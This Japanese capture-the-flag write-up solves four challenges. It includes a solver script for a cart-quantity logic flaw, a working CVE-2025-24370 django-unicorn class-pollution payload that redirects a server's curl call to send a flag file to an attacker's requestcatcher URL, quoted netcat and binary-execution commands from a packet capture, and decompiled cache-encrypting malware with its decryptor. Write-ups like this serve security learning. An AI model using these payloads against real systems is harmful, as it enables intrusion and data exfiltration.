[web] Legal Snacks
We got hungry writing this challenge...
Flask製のECサイトで、99999.99ドルの「Elite Hacker Snack」を購入してフラグを取得する問題。初期残高は100ドル。フラグが得られる部分は以下のようになっている。
if any(item.product.name == 'Elite Hacker Snack' for item in order.items): return render_template('order_confirmation.html', order=order, flag=os.environ.get('FLAG'))
これを見てみると... 個数チェックが無い!よって、0個これを買ってもフラグが得られてしまう。しかも、購入時に0個でカートに入れることは可能なので、適当な安い製品と共に0個「Elite Hacker Snack」を買うことでフラグが手に入ってしまう。ソルバは以下。
import requests base_url = "http://localhost:5000" s = requests.Session() s.post(f"{base_url}/register", data={"username": "hacker", "password": "pass123"}) s.post(f"{base_url}/cart/add", data={"product_id": 6, "quantity": 0}) s.post(f"{base_url}/cart/add", data={"product_id": 5, "quantity": 1}) checkout_resp = s.post(f"{base_url}/checkout", allow_redirects=False) redirect_url = checkout_resp.headers.get('Location') order_id = re.search(r'/orders/(\d+)/receipt', redirect_url).group(1) orders = s.get(f"{base_url}/orders/{order_id}/receipt")
[web] Todo
I'm sure at some point we'll get around to finishing this one...
Djangoで作られたサイトが与えられる。怪しい部分はフラグを使っているここ。
def home(request): # todo charge users $49.99/month because greed # todo dont send the confidential flag ... print(f'curl {settings.CONTACT_URL} -d @/tmp/flag.txt -X GET -o /dev/null') system(f'curl {settings.CONTACT_URL} -d @/tmp/flag.txt -X GET -o /dev/null') return render(request, f'index.html')
どう見ても怪しい。settings.CONTACT_URLを操作できれば、フラグを外部に持ち出すことができる。他に怪しいのは...
RUN pip install django django-unicorn==0.60.0
ここ!CVE-2025-24370というのがあり、題名としてClass Pollution Vulnerabilityが付いていた。これですね。ここに解説があるので、これを元にガチャガチャやっていると
{ "actionQueue": [ { "type": "syncInput", "payload": { "name": "__init__.__globals__.sys.modules.django.conf.settings.CONTACT_URL", "value": "https://[yours].requestcatcher.com/test" } } ] }
このようなbodyを送れば、CONTACT_URLを上書きできる。つまり、PoCは以下。
#!/usr/bin/env python3 import requests import re import sys target_url = "http://[redacted]:1337" attacker_url = "https://[yours].requestcatcher.com/test" # Get CSRF token resp = requests.get(target_url) csrf_token = re.search(r'name="csrfmiddlewaretoken" value="([^"]+)"', resp.text).group(1) cookies = resp.cookies # CVE-2025-24370: Exploit django-unicorn model binding # https://github.com/adamghill/django-unicorn/security/advisories/GHSA-g9wf-5777-gq43 payload = { "actionQueue": [ { "type": "syncInput", "payload": { "name": "__init__.__globals__.sys.modules.django.conf.settings.CONTACT_URL", "value": attacker_url } } ], } requests.post(f"{target_url}/unicorn/message/todo", data=payload, cookies=cookies, headers={'X-Requested-With': 'XMLHttpRequest'}) requests.get(target_url, cookies=cookies) print(f"Flag sent to {attacker_url}")
[forensics] Operator
I think someone has been hiding secrets on my server. Can you find them?
operator.pcapが与えられて解析する問題。中身を確認すると
id- root権限確認nc -lvp 2025 > /tmp/xcat- netcatでファイル受信- ELFバイナリ転送 (7240バイト、Stream index 6)
chmod +x /tmp/xcat- 実行権限付与/tmp/xcat -l 202- バイナリ実行
このような感じになっている。ELFバイナリをtshark -r operator.pcap -z follow,tcp,raw,6 -q | grep -v "===" | tr -d '\n' | xxd -r -p > payloadみたいに持ってきて解析してみると、
sym.chat関数内でXOR暗号化をしていて、キーは040717764269b00bde1823221eedf7aeと判明する。これを使って暗号化された通信を復号化するとフラグが得られた。
[forensics] Discord
I got a really awesome picture from my friend on Discord, but then he deleted it! I asked someone for a program that could get those pictures back, but when I ran it, all it did was close Discord! Send help, I need that picture back!
ディスクイメージのうち、ホームディレクトリ以下が与えられる。問題によると削除されたDiscord画像が復元できればいいらしい。AppDataのdiscordディレクトリを眺めてキャッシュがあるCache/Cache_Data/を見るとデータはあるが、.encという拡張子が付いている。ChromeCacheViewで見れると手元のメモにはあるが、見れそうにない。
ここからアレコレ考えていると、Downloads/encrypt.exeというファイルがあることに気が付く。stringsで眺めるとPyInstallerで作られたexeっぽかったので、分解していく。encrypt.pycをpyにすると以下のようなコードが得られる。
# Decompiled with PyLingual (https://pylingual.io) # Internal filename: encrypt.py # Bytecode version: 3.11a7e (3495) # Source timestamp: 1970-01-01 00:00:00 UTC (0) import json import os from pathlib import Path import psutil from Cryptodome.Cipher import AES from Cryptodome.Protocol.KDF import PBKDF2 from Cryptodome.Util.Padding import pad def get_appdata_path() -> Path: if os.getenv('APPDATA') is None: raise RuntimeError('APPDATA environment variable not set??') return Path(str(os.getenv('APPDATA'))).resolve() if __name__ == '__main__': for proc in psutil.process_iter(): if proc.name() == 'Discord.exe': print(f'Killing Discord (pid {proc.pid})') try: proc.kill() except psutil.NoSuchProcess: print('Process is already dead, ignoring') sentry_path = get_appdata_path() + 'Discord' + 'sentry' + 'scope_v3.json' with open(sentry_path, 'rb') as f: sentry_data = json.load(f) user_id = sentry_data['scope']['user']['id'] salt = b'BBBBBBBBBBBBBBBB' key = PBKDF2(str(user_id).encode(), salt, 32, 1000000) iv = b'BBBBBBBBBBBBBBBB' cache_path = get_appdata_path() + 'Discord' + 'Cache' + 'Cache_Data' print(f'Encrypting files in {cache_path}...') for file in cache_path.iterdir(): if not file.is_file(): continue if file.suffix == '.enc': print(f'Skipping {file} (already encrypted)') continue try: with open(file, 'rb') as fp1: data = fp1.read() except PermissionError: print(f'Skipping {file} (file open)') continue cipher = AES.new(key, AES.MODE_CBC, iv=iv) ciphertext = cipher.encrypt(pad(data, 16)) print(f'Encrypting {file}...') with open(file.with_suffix('.enc'), 'wb') as fp2: fp2.write(ciphertext) file.unlink()
暗号化方式が分かったので、.encを以下のようなアルゴリズムで戻していく。
# decrypt_cache.py from Crypto.Cipher import AES from Crypto.Protocol.KDF import PBKDF2 from Crypto.Util.Padding import unpad # sentry.jsonからuser_idを取得 user_id = "1334198101459861555" # 暗号化と同じパラメータで復号 salt = b'BBBBBBBBBBBBBBBB' key = PBKDF2(str(user_id).encode(), salt, 32, 1000000) iv = b'BBBBBBBBBBBBBBBB' cipher = AES.new(key, AES.MODE_CBC, iv=iv) plaintext = unpad(cipher.decrypt(ciphertext), 16)
これでChromeCacheViewで見られる状態になったので、探索していくとフラグが書かれたWebP形式の画像ファイルが見つかる。